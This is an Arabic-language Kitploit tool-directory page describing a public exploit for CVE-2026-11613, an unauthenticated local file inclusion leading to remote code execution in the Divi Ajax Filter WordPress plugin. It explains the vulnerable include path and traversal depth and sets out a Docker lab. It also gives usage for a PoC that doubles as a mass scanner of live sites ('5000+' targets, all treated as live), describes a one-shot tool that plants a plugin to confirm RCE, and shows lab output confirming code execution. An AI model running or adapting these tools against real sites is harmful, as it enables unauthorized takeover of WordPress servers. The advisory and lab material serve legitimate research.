Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-11613 — Divi Ajax Filter <= 5.1.2 إدراج ملف محلي غير مصادق عليه عبر 'custom_loop_template' | Kitploit
أدوات/GitHubGitHub/wayang1337/cve-2026-11613
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبأمن الويباختبار الاختراقمختبرات وتدريب عملي
GitHubwayang1337/cve-2026-11613

CVE-2026-11613

Divi Ajax Filter <= 5.1.2 إدراج ملف محلي غير مصادق عليه عبر 'custom_loop_template'

عرض المستودع
منذ 6س 11دلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-11613 — Divi Ajax Filter <= 5.1.2 — LFI غير مصادق -> RCE

الإضافةDivi Ajax Filter (Divi Engine، إصدار مدفوع — ليس في wordpress.org SVN)
المتأثرجميع الإصدارات <= 5.1.2 (المختبر استخدم 3.1.8.4 من مرآة)
تم التصحيح5.1.3 (11/08/2026)
النوعCWE-98 — تضمين ملف محلي PHP، غير مصادق
CVSS9.8 حرج (AV:N/AC:L/PR:N/UI:N)
الإشعارWordfence (المكتشف: h0xilo)، نُشر في 04/09/2026
مصدر الكودمرآة عامة: github.com/albertoformi/fr9z3i4pwxt3qx (موقع WP + الإضافة في includes/modules/divi-ajax-filter/)

التحليل الفني (من كود المرآة v3.1.8.4)

  1. Nonce عام — includes/modules/FilterPosts/FilterPosts.php:1759 ينشئ wp_create_nonce('filter_object') ويربطه عبر wp_localize_script (filter_ajax_object.security) بسكربت يتم تحميله لجميع الزوار (wp_enqueue_scripts). الـ Nonce ليس حاجزًا: كل زائر لديه نسخة منه.
  2. نقطة دخول غير مصادقة — filter_ajax.php:3406-3407 و loadmore_ajax.php:569-570 يسجلان معالجات عبر wp_ajax_nopriv_* (بدون تسجيل دخول).
  3. مدخلات بدون تنقية — filter_ajax.php:114-133 (loadmore: 73-91): $loop_var = json_decode(sanitize_text_field($_POST['loop_var']))، ثم $custom_loop_template = $loop_var['custom_loop_template'] حرفيًا — بدون basename()، بدون قائمة بيضاء، بدون فحص realpath.
  4. نقطة الحساسية — filter_ajax.php:2871-2873 (loadmore: 344-346):
    root@kitploit:~
    if ($loop_templates == 'custom-template') {
        if (file_exists(get_stylesheet_directory() . '/divi-ajax-filter/loop-templates/' . $custom_loop_template)) {
            include(get_stylesheet_directory() . '/divi-ajax-filter/loop-templates/' . $custom_loop_template);
    
    الشرط: يجب أن يدخل الطلب فرع غير WooCommerce ($posttype من JSON query حر، لا توجد قائمة سماح) ويجب أن يُرجع الاستعلام >= منشور واحد.
  5. عمق التنقل — الدليل الأساسي = <webroot>/wp-content/themes/<theme>/divi-ajax-filter/loop-templates/ → يتطلب ../../../../../ (5 مرات) للعودة إلى webroot. ملاحظة مهمة: file_exists()/include() تفشل بصمت إذا كان مكوّن مسار البادئة غير موجود — يجب أن يكون دليل divi-ajax-filter/loop-templates/ داخل القالب موجودًا (هذا هو هيكل القالب المخصص الموثق في الإضافة، لذا فهو شائع في المواقع التي تستخدم هذه الميزة؛ بدون هذا الدليل يتم حظر التنقل فعليًا).
  6. RCE — إذا تمكن المهاجم من وضع ملف .php على الخادم (رفع مستخدم بصلاحية author، إعدادات رفع متساهلة، إضافة أخرى)، فإن تضمين ملف الرفع = تنفيذ كود.

هيكل الدليل

root@kitploit:~
cve-2026-11613/
├── poc_http.py                  # PoC + ماسح ضوئي مباشر شامل (ملف واحد)
├── divi-ajax-filter-3.1.8.4.zip # إضافة جاهزة للتثبيت (رفع عبر WP admin / Plugins > Add New)
├── README.md
├── mirror-site/                 # استنساخ github albertoformi/fr9z3i4pwxt3qx
│   └── includes/modules/divi-ajax-filter/   # الإضافة v3.1.8.4 (المتأثرة)
└── lab/
    ├── docker-compose.yml       # WP 6.5 + MariaDB، المنفذ 8099
    ├── setup.sh                 # نسخ الإضافة + compose up
    ├── install_wp.sh            # تثبيت WP + التحقق
    └── wp-content/
        ├── mu-plugins/
        │   ├── zz-divi-shim.php        # شيم DiviExtension/ET_Builder_* (للمختبر فقط)
        │   └── zz-activate-daf.php     # تفعيل تلقائي للإضافة
        ├── plugins/divi-ajax-filter/   # الإضافة الضعيفة (مثبتة في الحاوية)
        └── uploads/poc-rce.php         # حمولة "رفع" محاكاة (exit في النهاية)

تشغيل المختبر

root@kitploit:~
bash lab/setup.sh        # نسخ الإضافة + docker compose up (المنفذ 8099)
bash lab/install_wp.sh   # تثبيت WP (admin / LabPass!2026)
# إضافة هيكل القالب المطلوب للتنقل:
docker exec lab-wp-1 mkdir -p /var/www/html/wp-content/themes/twentytwentyfour/divi-ajax-filter/loop-templates
# إنشاء منشورين تجريبيين (مرة واحدة فقط):
docker run --rm --volumes-from lab-wp-1 --network lab_default \
  -e WORDPRESS_DB_HOST=db -e WORDPRESS_DB_USER=wordpress \
  -e WORDPRESS_DB_PASSWORD=wordpress -e WORDPRESS_DB_NAME=wordpress \
  wordpress:cli wp post create --post_title="Lab Post 1" --post_status=publish

PoC / ماسح مباشر (بدون وضع — جميع الأهداف تُعامل كمباشرة)

root@kitploit:~
python poc_http.py target.com                       # تلقائي http://
python poc_http.py https://target.com domain2.com   # أهداف متعددة
python poc_http.py --list targets.txt --threads 30  # فحص شامل 5000+
python poc_http.py --list targets.txt --fast        # مسح خفيف 2 طلب/هدف
python poc_http.py target.com --upload-name sh.php --upload-marker MYPWNED  # تجهيز RCE
  • النطاقات بدون scheme تتحول تلقائيًا إلى http://؛ إزالة التكرار تلقائيًا؛ النتائج تُكتب فورًا بشكل تدريجي إلى results_cve-2026-11613.csv (آمن Ctrl-C، النتائج الجزئية محفوظة).
  • الحالة لكل هدف: VULN: LFI / VULN: LFI+RCE (أخضر)، not-confirmed (أصفر)، NO-NONCE / NO-PLUGIN (سماوي)، UNREACHABLE / ERROR (أحمر).
  • --no-color / متغير البيئة NO_COLOR لإخراج عادي؛ الألوان تُعطّل تلقائيًا عند الأنابيب.
  • رمز الخروج: 0 = يوجد هدف ضعيف، 1 = لا يوجد، 130 = تمت المقاطعة.

WayangXploit — تنفيذ واحد (زرع canary + تحقق تلقائي من RCE)

root@kitploit:~
python wayang.py <site> <wp-user> <wp-pass>

أمر واحد: تسجيل الدخول → زرع canary WayangXploit (إضافة صغيرة غير مفعلة، PoC فقط: تطبع marker+uid+uname ثم exit، ليست webshell، بدون معاملات cmd) → التحقق → مسح LFI غير مصادق → حكم RCE. تلقائي: https-upgrade، تجاوز SSL، POST يحافظ على إعادة التوجيه. التنظيف: حذف الإضافة "WayangXploit Canary" + "Divi Compat Shim" في wp-admin بعد الاختبار.

poc_http.py الآن افتراضيًا --upload-marker WayangXploit-RCE-CONFIRMED (لذا يكفي --upload-rel / --upload-name فقط).

نتائج التحقق في المختبر (حقيقية، من استجابة HTTP)

root@kitploit:~
[+] LFI: action=divi_filter_ajax_handler depth=5: included xmlrpc.php EXECUTED (marker 'methodResponse')
[+] RCE: action=divi_filter_ajax_handler depth=5: included wp-content/uploads/poc-rce.php EXECUTED
VERDICT: VULNERABLE - RCE confirmed
evidence: CVE-2026-11613-RCE-CONFIRMED | uid=33 user=www-data | uname=Linux ... 6.18.33.2-microsoft-standard-WSL2

شروط قابلية الاستغلال في الأهداف المباشرة (التي يفحصها live_scan.py):

  1. إضافة Divi Ajax Filter <= 5.1.2 مفعلة (استطلاع: وصول مباشر لملف الإضافة الرئيسي).
  2. Nonce filter_object مكشوف في صفحة عامة (سكربت الوحدة محمّل).
  3. وجود <theme>/divi-ajax-filter/loop-templates/ (التنقل المسبوق يتطلب هذا).
  4. لـ RCE: وجود ملف .php يمكن للمهاجم الوصول إليه (مثل نتيجة رفع) — LFI فقط يظل مؤثرًا (كشف معلومات / تجاوز مصادقة على أي ملف .php).
تنزيل الأداة